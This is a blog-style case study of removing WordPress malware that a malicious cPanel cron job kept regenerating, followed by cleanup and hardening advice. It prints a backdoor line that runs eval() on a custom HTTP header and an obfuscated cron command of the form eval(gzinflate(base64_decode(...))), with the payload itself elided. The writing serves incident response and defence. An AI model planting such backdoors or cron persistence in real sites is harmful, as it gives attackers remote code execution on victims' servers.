MD Pabel

Posted on Apr 28 • Originally published at mdpabel.com on Mar 15

How I Stopped wp-blog-header.php Regenerate Malware in WordPress After Wordfence Missed the Real Cause

#php #security #tutorial #wordpress

A client hired me after dealing with one of the most frustrating WordPress malware problems possible: they kept cleaning the infected file, the site would come back for a moment, and then the exact same malware returned again within minutes.

They had already given another cleanup attempt a chance. The site was running Wordfence, scans had been performed, and the visible infected file had been removed more than once. But none of that solved the real problem because the malware was not just sitting inside WordPress. It was being recreated from the server layer.

This case study explains how I diagnosed a classic wp-blog-header.php regenerate malware incident, why the infection kept coming back, how a malicious cPanel cron job was sustaining the reinfection loop, and the exact server-level cleanup sequence I used to stop it permanently.

If your WordPress malware keeps coming back after cleanup, start with my WordPress malware removal service.

Quick Summary

Main symptom: WordPress core malware kept regenerating after removal
Visible infected file: wp-includes/user.php
Why cleanup failed: a malicious cPanel cron job was re-triggering the infection
Why the problem looked “instant”: the cron payload appeared to keep a live reinfection loop running beyond the visible schedule
Why scanners struggled: the persistence mechanism lived above the normal WordPress application layer
Final fix: delete the cron job, terminate the active process loop, restore clean core files, and harden the hosting account

Why this kind of reinfection is so hard to remove

If you work with hacked WordPress websites long enough, you eventually run into infections that feel impossible to remove. You find the infected file, delete it, refresh the directory, and the file is already back. Not an hour later. Not tomorrow. Almost immediately.

That usually means the visible malware is only the symptom. A second mechanism is recreating it from somewhere else.

In many cases I handle, fake hidden plugins are the persistence method. But the most aggressive reinfections often bypass WordPress completely and operate at the hosting or server level instead. That was exactly what happened in this case.

The first visible symptom

The client first came to me after their hosting provider suspended the account for malicious activity and resource usage. Once I had temporary access restored, I ran an initial malware review and quickly confirmed that a WordPress core file had been modified.

The infected file was:

wp-includes/user.php

The injected payload included this line:

eval($_SERVER['HTTP_C981A92']);

This is a dangerous type of PHP backdoor. It looks for a custom HTTP header and executes attacker-supplied PHP through eval(). In practice, that gives the attacker flexible remote execution as long as the backdoor stays in place.

The client had already tried deleting the file before contacting me. Each time, it came back again. That was the clue that told me this was not a normal file infection.

Why Wordfence was not the real solution here

Wordfence is useful, but it operates inside the WordPress application layer. It is strongest at detecting suspicious files, malware patterns, and changes inside the WordPress environment itself.

In this case, the real persistence mechanism was above WordPress. The infection was being sustained at the hosting level, which meant that cleaning the visible file inside WordPress could never solve the problem by itself.

When malware regenerates this quickly, I stop treating it like a simple core-file cleanup and start checking the wider server environment.

The real cause: a malicious cPanel cron job

I logged directly into the client’s cPanel account and opened the Cron Jobs area. That is where I found the real persistence mechanism.

There was a scheduled command running every minute:

/usr/local/bin/php -r 'eval(gzinflate(base64_decode("...[payload]...")));'

That was the real engine behind the reinfection. Every time the task executed, it decoded and launched a malicious payload at the server level.

Why the file seemed to regenerate every second

At first glance, a cron job running once per minute should not explain why the malware appeared to regenerate almost instantly. But the likely explanation was inside the cron payload itself.

In this kind of case, the payload often does more than run once and exit. It may:

Spawn a persistent background PHP loop The cron task starts a process that stays alive in memory and keeps checking whether the infected file is still present.
Alter an early-loading file The payload modifies a file that runs on normal site traffic so the reinfection gets re-triggered again and again as requests come in.

That is why deleting the cron job alone is not enough in these cases. If the process is already alive in memory, it can keep reinfecting the site even after the cron entry is gone.

The cleanup sequence I used

With reinfecting malware, order matters. If you do the cleanup steps in the wrong sequence, the backdoor just recreates itself again.

Step 1: Delete the malicious cron job

The first move was to remove the malicious entry from cPanel so the scheduled trigger would not fire again.

I also checked for suspicious hosting-level users or other obvious access anomalies, because attackers sometimes leave more than one persistence path.

Step 2: Kill the active PHP loop

After removing the cron entry, I needed to stop any running PHP process that was already alive in memory and maintaining the reinfection loop.

With shell access available, I used a process-kill workflow to terminate the active PHP process chain. For environments without shell access, I often use a controlled PHP handler restart approach instead, which forces the active PHP workers to reset and clears the hidden loop from memory.

This step is critical. If you skip it, the malware may continue to rewrite the infected file even after the cron entry is gone.

Step 3: Check server-level configuration files

Before cleaning WordPress itself, I reviewed root-level config files such as:

.htaccess
.user.ini
php.ini

Attackers sometimes use directives like auto_prepend_file to force malicious code to load before WordPress even starts. In this case, I found a modified .htaccess and restored it to a clean default routing state.

Step 4: Replace the infected core files safely

Only after the reinfection engine was dead did I touch the WordPress core files themselves.

Rather than editing wp-includes/user.php by hand, I used a safer approach: full core replacement.

Downloaded a fresh copy of WordPress from WordPress.org
Removed the compromised wp-admin and wp-includes directories
Uploaded clean replacements

This is a much safer move than trying to surgically remove one visible payload, because it eliminates any other quiet modifications in WordPress core at the same time.

Step 5: Run final verification and harden the account

Once the cron trigger, memory loop, and infected core files were all dealt with, I ran final verification checks. This time the malware stayed gone, the scan results stabilized, and the hosting account’s resource usage dropped back toward normal.

Then I moved to the security hardening phase:

reset cPanel credentials
updated database credentials
rotated WordPress salts
secured admin access with stronger authentication

What this case teaches WordPress site owners

If malware keeps regenerating, the visible infected file is not the real problem.
WordPress security plugins cannot always stop hosting-level persistence.
cPanel cron jobs can be abused as a reinfection mechanism.
Deleting the cron entry alone may not be enough if the malicious process is already running in memory.
Core-file replacement is safer than hand-editing a known-infected WordPress core file.

How to reduce the risk of this type of hack

Protect your hosting account, not just WordPress. Use a strong, unique password and enable hosting-level MFA or 2FA if available.
Do not host unrelated sites together carelessly. Poor isolation can let one compromise spread across multiple sites.
Keep plugins, themes, and PHP updated. Many deep compromises begin with an outdated component.
Review cron jobs and server settings during serious malware incidents. If the infection keeps coming back, the answer may be outside WordPress.

FAQ

Why does my WordPress malware come back right after I delete it?

Because another persistence mechanism is usually recreating it. That may be a backdoor, a server-side task, a hidden include, or a process still running in memory.

Can a cPanel cron job reinfect a WordPress site?

Yes. If an attacker can place a malicious cron command in the hosting account, it can re-run malware logic even after you clean visible WordPress files.

Why didn’t Wordfence stop this infection?

Because the real persistence mechanism was not just inside normal WordPress execution. The host-level cron task was operating above the standard application-layer cleanup workflow.

What is the safest way to clean infected WordPress core files?

Once the persistence mechanism is removed, replacing the affected core directories with clean official copies is usually safer than manually editing infected core files.

What should I do after fixing a reinfecting WordPress hack?

Reset credentials, review hosting access, rotate salts, update software, verify core integrity, and harden both WordPress and hosting-level access.

Need help cleaning WordPress malware that keeps regenerating?

I work on complex WordPress malware cases every day, including cron-job persistence, hidden droppers, regenerating core-file infections, redirect malware, and server-level compromises that ordinary scanners miss. If your site keeps getting hacked again right after cleanup, I can help you find the real persistence mechanism and remove it properly.

Hire me if you want help cleaning and securing a WordPress site with recurring malware.

DEV Community